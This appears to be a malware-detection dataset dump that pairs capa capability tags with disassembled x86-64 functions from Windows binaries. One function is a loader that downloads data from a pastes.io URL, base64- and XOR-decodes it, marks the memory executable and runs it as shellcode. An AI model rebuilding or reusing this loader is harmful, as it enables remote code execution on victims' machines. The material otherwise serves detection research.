joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000c8c0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x14000c8ee
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x14000fee0
cmp byte [0x14005cde0], 0
jne 0x14000c939
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c929
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x14005cde0], 1
mov qword [0x14005cdd8], rax
jmp 0x14000c940
mov rax, qword [0x14005cdd8]
mov byte [0x14005cde0], 1
jmp 0x14000c940
mov rax, qword [0x14005cdd8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000c95f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000ff54
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14000ff6f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x14000ff6f
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x14000ff6f
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
imul edx, dword [rsp + rdi*2 - 0x27], 0x4bed17c5
add bh, bh
add al, dh
invalid
Function at 0x14000fee0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x14000c8ee
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x14000fee0
cmp byte [0x14005cde0], 0
jne 0x14000c939
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000c929
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x14005cde0], 1
mov qword [0x14005cdd8], rax
jmp 0x14000c940
mov rax, qword [0x14005cdd8]
mov byte [0x14005cde0], 1
jmp 0x14000c940
mov rax, qword [0x14005cdd8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000c95f
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x14000ff54
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x14000ff6f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x14000ff6f
mov rcx, qword [rbx]
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov qword [rsp + 0x20], rcx
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rcx + 8], 0
je case.default.0x14000ff6f
mov rdx, r8
mov rcx, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov eax, 1
add rsp, 0x30
pop rdi
ret
imul edx, dword [rsp + rdi*2 - 0x27], 0x4bed17c5
add bh, bh
add al, dh
invalid
Function at 0x1407f8058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1407f81df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1407f8089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f806f
add dl, dl
jne 0x1407f8096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f80f6
xor eax, eax
add dl, dl
jne 0x1407f80a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1407f81ad
add dl, dl
jne 0x1407f80b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f80dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1407f80ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1407f807e
mov eax, 1
add dl, dl
jne 0x1407f8106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1407f8113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f80fb
sub eax, ebx
mov ebx, 1
jne 0x1407f814c
mov ecx, 1
add dl, dl
jne 0x1407f812e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407f813b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f8123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1407f8168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1407f8175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1407f815d
cmp eax, 0x7d00
jae 0x1407f819b
cmp eax, 0x500
jb 0x1407f8196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
cmp eax, 0x7f
ja 0x1407f819e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1407f807e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1407f81d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1407f807e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001090
Capabilities:
Allocate or change rwx memory
Create http request
Decode data using base64 via winapi
Encode data using xor
Execute shellcode via indirect call
Read data from internet
Receive data
Reference http user-agent string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x810
xor ebx, ebx
lea rcx, str.Mozilla_5.0
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov ebp, ebx
lea edx, [rbx + 1]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov ecx, 0x7d0
mov rdi, rax
call fcn.140001000
xor edx, edx
mov r8d, 0x7d0
mov rcx, rax
mov rsi, rax
call fcn.140001030
test rdi, rdi
je 0x14000114f
mov qword [rsp + 0x28], rbx
lea rdx, str.https:__pastes.io_raw_mjhyovqrre
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov r14, rax
test rax, rax
je 0x14000114f
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x7d0
call fcn.140001030
lea r9, [rsp + 0x840]
mov r8d, 0x7d0
lea rdx, [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rsi, [rsp + 0x40]
jmp 0x140001158
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea rax, [rsp + 0x848]
mov qword [rsp + 0x28], rbx
xor edx, edx
mov dword [rsp + 0x848], ebx
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
mov rdi, rbx
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov eax, dword [rsp + 0x848]
test eax, eax
je 0x1400011d0
mov ecx, eax
call fcn.140001000
mov rdi, rax
mov qword [rsp + 0x30], rbx
xor edx, edx
mov qword [rsp + 0x28], rbx
lea rax, [rsp + 0x848]
mov r9, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r8d, [rdx + 1]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov ebp, dword [rsp + 0x848]
mov ecx, ebp
mov word [rsp + 0x840], 0x4511
mov byte [rsp + 0x842], 0x14
mov r14d, ebp
call fcn.140001000
mov rsi, rax
test ebp, ebp
je 0x14000122b
mov r8, rax
sub rdi, rax
nop dword [rax]
mov ecx, ebx
lea r8, [r8 + 1]
mov eax, 0xaaaaaaab
mul ebx
inc ebx
shr edx, 1
lea eax, [rdx + rdx*2]
sub ecx, eax
movzx ecx, byte [rsp + rcx + 0x840]
xor cl, byte [rdi + r8 - 1]
mov byte [r8 - 1], cl
cmp ebx, ebp
jb 0x140001200
lea r9, [rsp + 0x850]
mov r8d, 0x40
mov rdx, r14
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rsi
xor eax, eax
add rsp, 0x810
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x100002454
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rsi
mov qword [rsp + 0x10], rdi
mov qword [rsp + 0x18], r12
push r13
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
xor r12d, r12d
xor eax, eax
lock cmpxchg qword [0x100004758], rdi
je 0x1000024a2
cmp rax, rdi
jne 0x100002495
mov edi, 1
mov r12d, edi
jmp 0x1000024a7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100002479
mov edi, 1
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x1000024bd
mov ecx, 0x1f
call fcn.10017b000
jmp 0x10000251a
mov eax, dword [0x100004750]
test eax, eax
jne 0x100002514
mov dword [0x100004750], edi
lea r13, [0x100001290]
lea rsi, [0x100001278]
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
cmp rsi, r13
jae 0x100002506
test eax, eax
jne 0x100002506
mov rcx, qword [rsi]
test rcx, rcx
je 0x1000024fb
call rcx
mov dword [rsp + 0x20], eax
add rsi, 8
mov qword [rsp + 0x28], rsi
jmp 0x1000024e4
test eax, eax
je 0x10000251a
mov eax, 0xff
jmp 0x1000025ec
mov dword [0x100004184], edi
mov eax, dword [0x100004750]
cmp eax, edi
jne 0x100002541
lea rdx, [0x100001270]
lea rcx, [0x100001260]
call sub.msvcrt.dll__initterm
mov dword [0x100004750], 2
test r12d, r12d
jne 0x10000254f
xor eax, eax
xchg qword [0x100004758], rax
cmp qword [0x100004760], 0
je 0x100002578
lea rcx, [0x100004760]
call fcn.10000284c
test eax, eax
je 0x100002578
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x100004760]
mov r8, qword [0x100004168]
mov rdx, qword [0x100004170]
mov ecx, dword [0x100004160]
call fcn.100001b54
mov dword [0x100004180], eax
cmp dword [0x100004164], 0
jne 0x1000025a8
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x100004184], 0
jne 0x1000025bd
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x100004180]
jmp 0x1000025ec
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov r12, qword [rsp + 0x50]
add rsp, 0x30
pop r13
ret
sub rsp, 0x28
call fcn.100002960
add rsp, 0x28
jmp 0x100002454
Function at 0x140001090
Capabilities:
Load windows common language runtime

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rsi
sub rsp, 0x38
lea rcx, [0x1400218b0]
mov rsi, rdx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rbx, rax
test rax, rax
je 0x140001215
mov qword [rsp + 0x30], rdi
lea rdx, str.CLRCreateInstance
mov rcx, rax
mov qword [rsp + 0x60], 0
xor dil, dil
mov qword [rsp + 0x68], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x1400010f7
lea rcx, str.C70A58D6_70A7_4665_AC49_BB4DC9A4564C
call fcn.1400022c0
jmp 0x1400011c1
lea r8, [rsp + 0x60]
lea rdx, [0x140021d00]
lea rcx, [0x140021d10]
call rax
test eax, eax
jns 0x140001123
mov edx, eax
lea rcx, str.266FC3A5_C76A_4F73_8C8A_25386A5B5963_0x_08lx_n
call fcn.1400022c0
jmp 0x1400011c1
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x68]
lea r8, [0x140021cf0]
lea rdx, str.v4.0.30319
mov rax, qword [rcx]
call qword [rax + SafeArrayCopy]
test eax, eax
jns 0x140001155
mov edx, eax
lea rcx, str.DCCCFDA3_9370_49A0_9887_982A35C2DF8A_0x_08lx_n
call fcn.1400022c0
jmp 0x1400011c1
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x50]
mov rax, qword [rcx]
call qword [rax + 0x50]
test eax, eax
jns 0x140001179
mov edx, eax
lea rcx, str.F7C2540E_8F6A_4CC7_A7D9_94A63E333135_0x_08lx_n
call fcn.1400022c0
jmp 0x1400011c1
cmp dword [rsp + 0x50], 0
jne 0x14000118e
lea rcx, str.AF5FF196_A7E7_4306_9AD9_61B7AB744E4D_n
call fcn.1400022c0
jmp 0x1400011c1
mov rcx, qword [rsp + 0x68]
lea r8, [0x140021ce0]
mov r9, rsi
lea rdx, [0x140021d20]
mov rax, qword [rcx]
call qword [rax + 0x48]
test eax, eax
jns 0x1400011be
mov edx, eax
lea rcx, str.1E86E661_36B0_4F7F_9142_20C9AC88EEBE_0x_08lx_n
call fcn.1400022c0
jmp 0x1400011c1
mov dil, 1
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x1400011da
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
mov qword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400011ea
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_SafeArrayGetDim]
test dil, dil
mov rdi, qword [rsp + 0x30]
jne 0x14000125c
lea rdx, str.CorBindToRuntime
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x14000121e
lea rcx, str.D114F27F_FB9D_4DFE_8E18_A08D02FAAF20
call fcn.1400022c0
xor eax, eax
add rsp, 0x38
pop rsi
pop rbx
ret
lea r9, [0x140021ce0]
mov qword [rsp + 0x20], rsi
lea r8, [0x140021d20]
lea rdx, [0x140021840]
lea rcx, str.v4.0.30319
call rax
test eax, eax
jns 0x14000125c
mov edx, eax
lea rcx, str.2BD37066_D569_4E96_8304_124D8C3CA37E_0x_08lx_n
call fcn.1400022c0
xor eax, eax
add rsp, 0x38
pop rsi
pop rbx
ret
mov eax, 1
add rsp, 0x38
pop rsi
pop rbx
ret
Function at 0x140001990
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x50
mov r14, rdx
mov rdi, qword [rdx + 0x10]
xor ebx, ebx
lea rax, [rdi + rdi]
sar rax, 1
cmp qword [rdx + 0x18], 8
mov edx, ebx
jb 0x1400019c6
mov rcx, qword [r14]
jmp 0x1400019c9
mov rcx, r14
cmp rdi, rax
cmovb rax, rdi
lea rcx, [rcx + rdx*2]
sub rdi, rax
mov r8, rdi
sub r8, rdx
lea r8, [r8*2 + 2]
lea rdx, [rcx + rax*2]
call fcn.140007f30
mov qword [r14 + 0x10], rdi
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], rbx
xor edx, edx
mov r9d, 0x47f0
lea r8, [0x140025a60]
lea rcx, [rsp + 0x30]
call fcn.140001e30
mov rdx, qword [rsp + 0x38]
mov r15, qword [rsp + 0x30]
sub rdx, r15
lea rcx, [rdx - 1]
test rcx, rcx
je 0x140001a40
nop
movzx eax, byte [r15 + rcx - 1]
sub byte [r15 + rcx], al
sub rcx, 1
jne 0x140001a30
mov rdi, rbx
test rdx, rdx
je 0x140001adf
cmp rdx, 0x40
jb 0x140001ac8
mov rcx, rdx
and rcx, 0xffffffffffffffc0
movdqa xmm2, xmmword [0x140021d40]
lea rax, [r15 + 0x20]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x20]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
movdqu xmm0, xmmword [rax - 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x10], xmm1
movdqu xmm0, xmmword [rax]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax], xmm1
movdqu xmm0, xmmword [rax + 0x10]
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax + 0x10], xmm1
add rdi, 0x40
lea rax, [rax + 0x40]
cmp rdi, rcx
jb 0x140001a70
cmp rdi, rdx
jae 0x140001adf
lea rax, [r15 + rdi]
mov rcx, rdx
sub rcx, rdi
xor byte [rax], 0xd5
lea rax, [rax + 1]
sub rcx, 1
jne 0x140001ad2
mov rsi, 0xffffffffffffffff
nop word [rax + rax]
inc rsi
cmp byte [r15 + rsi + 8], 0
jne 0x140001af0
lea rax, [rdx - 8]
cmp rsi, rax
jb 0x140001b08
lea rsi, [rdx - 9]
mov rcx, qword [r14 + 0x10]
cmp rsi, rcx
ja 0x140001b28
mov qword [r14 + 0x10], rsi
mov rax, r14
cmp qword [r14 + 0x18], 8
jb 0x140001b22
mov rax, qword [r14]
mov word [rax + rsi*2], bx
jmp 0x140001b71
mov rdx, rsi
sub rdx, rcx
mov rdi, qword [r14 + 0x18]
mov rax, rdi
sub rax, rcx
cmp rdx, rax
ja 0x140001b66
mov qword [r14 + 0x10], rsi
mov r8, r14
cmp rdi, 8
jb 0x140001b4d
mov r8, qword [r14]
lea rdi, [r8 + rcx*2]
test rdx, rdx
je 0x140001b5f
movzx eax, bx
mov rcx, rdx
rep stosw word [rdi], ax
mov word [r8 + rsi*2], bx
jmp 0x140001b71
mov r9, rdx
mov rcx, r14
call fcn.140001c70
test rsi, rsi
je 0x140001b95
mov rcx, r14
cmp qword [r14 + 0x18], 8
jb 0x140001b83
mov rcx, qword [r14]
movzx eax, byte [r15 + rbx + 8]
mov word [rcx + rbx*2], ax
inc rbx
cmp rbx, rsi
jb 0x140001b76
test r15, r15
je 0x140001bcb
mov rdx, qword [rsp + 0x40]
sub rdx, r15
mov rax, r15
cmp rdx, 0x1000
jb 0x140001bc3
add rdx, 0x27
mov r15, qword [r15 - 8]
sub rax, r15
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001be7
mov rcx, r15
call fcn.14000242c
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
mov rsi, qword [rsp + 0x80]
add rsp, 0x50
pop r15
pop r14
pop rdi
ret
call fcn.14000b160
int3
Function at 0x140002bfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002c46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002c46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002c46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002c46
cmp dword [rcx + 0x84], 0xe
jbe 0x140002c46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002c48
xor al, al
add rsp, 0x28
ret

Function at 0x14000bf38
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000bd28
Function at 0x140010898
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14001091f
mov rsi, rbx
cmp word [rax], bp
je 0x1400108de
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400108c8
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400108c4
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000d5b0
mov rdi, rax
test rax, rax
je 0x14001090c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140007f30
mov rbp, rdi
xor ecx, ecx
call fcn.14000c980
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1400179a0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400179c8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400179c8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140003a80
Capabilities:
Modify service

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0xc0
mov ebx, edx
mov edx, 1
mov rdi, rcx
call fcn.140009310
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 2]
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov rbp, rax
test rax, rax
je 0x140003cff
lea rdx, [0x14004f1d8]
mov r8d, 2
mov rcx, rax
mov qword [rsp + 0xe0], rsi
call qword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov rsi, rax
test rax, rax
je 0x140003cee
test ebx, ebx
je 0x140003b40
dec ebx
je 0x140003aee
dec ebx
jne 0x140003ce5
xor ebx, ebx
or r9d, 0xffffffff
lea rax, str.LocalSystem
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rax
lea rax, str.SENS
or r8d, r9d
or edx, r9d
mov qword [rsp + 0x38], rax
lea rax, str.ProfSvc_Group
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
jmp 0x140003ccb
mov qword [rsp + 0xe8], r14
lea r14, [rdi + 0xaa8]
mov r8d, 0x400
mov rdx, r14
mov ecx, 0x66
call fcn.140002e80
lea rbx, [rdi + 0x2a8]
mov r8d, 0x400
mov rdx, rbx
mov ecx, 0x65
call fcn.140002e80
lea r8, [rsp + 0xf0]
mov edx, 1
mov rcx, rsi
mov qword [rsp + 0xf0], rbx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
jne 0x140003bb4
lea r8, str.Failed_to_change_the_description_of_service
lea rdx, [0x140034be0]
mov rcx, rdi
call fcn.140005d00
xor eax, eax
xor ebx, ebx
lea r8, [rsp + 0x60]
mov qword [rsp + 0x84], rax
mov qword [rsp + 0x8c], rax
mov qword [rsp + 0x94], rax
mov qword [rsp + 0x9c], rax
mov qword [rsp + 0xa4], rax
mov qword [rsp + 0xac], rax
mov qword [rsp + 0xb4], rax
mov dword [rsp + 0xbc], eax
lea rax, [0x140033730]
mov qword [rsp + 0x88], rax
xor eax, eax
lea edx, [rbx + 8]
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x80]
mov rcx, rsi
mov dword [rsp + 0x90], ebx
mov dword [rsp + 0x84], 1
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x80], 1
mov qword [rsp + 0x98], rbx
mov dword [rsp + 0x60], 1
mov qword [rsp + 0x70], rbx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
test eax, eax
jne 0x140003c7c
lea r8, str.Failed_to_change_the_service_triggerInfo
lea rdx, [0x140034be0]
mov rcx, rdi
call fcn.140005d00
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rbx
lea rax, str.SENS
or r9d, 0xffffffff
mov r8d, 2
mov qword [rsp + 0x38], rax
lea rax, str.ProfSvc_Group
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
or edx, r9d
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
mov r14, qword [rsp + 0xe8]
test eax, eax
jne 0x140003ce5
lea r8, str.Failed_to_change_the_service_config
lea rdx, [0x140034be0]
mov rcx, rdi
call fcn.140005d00
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rsi, qword [rsp + 0xe0]
xor eax, eax
add rsp, 0xc0
pop rdi
pop rbp
pop rbx
ret
Function at 0x140004510
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rcx, qword [rcx + 0x10]
mov rdi, rdx
test rcx, rcx
je 0x14000453e
mov r8, rdx
mov rdx, qword [rbx]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp fcn.140007640
cmp byte [0x1400504c0], 0
jne 0x140004589
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004579
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov byte [0x1400504c0], 1
mov qword [0x1400504b8], rax
jmp 0x140004590
mov rax, qword [0x1400504b8]
mov byte [0x1400504c0], 1
jmp 0x140004590
mov rax, qword [0x1400504b8]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x1400045af
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp rax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]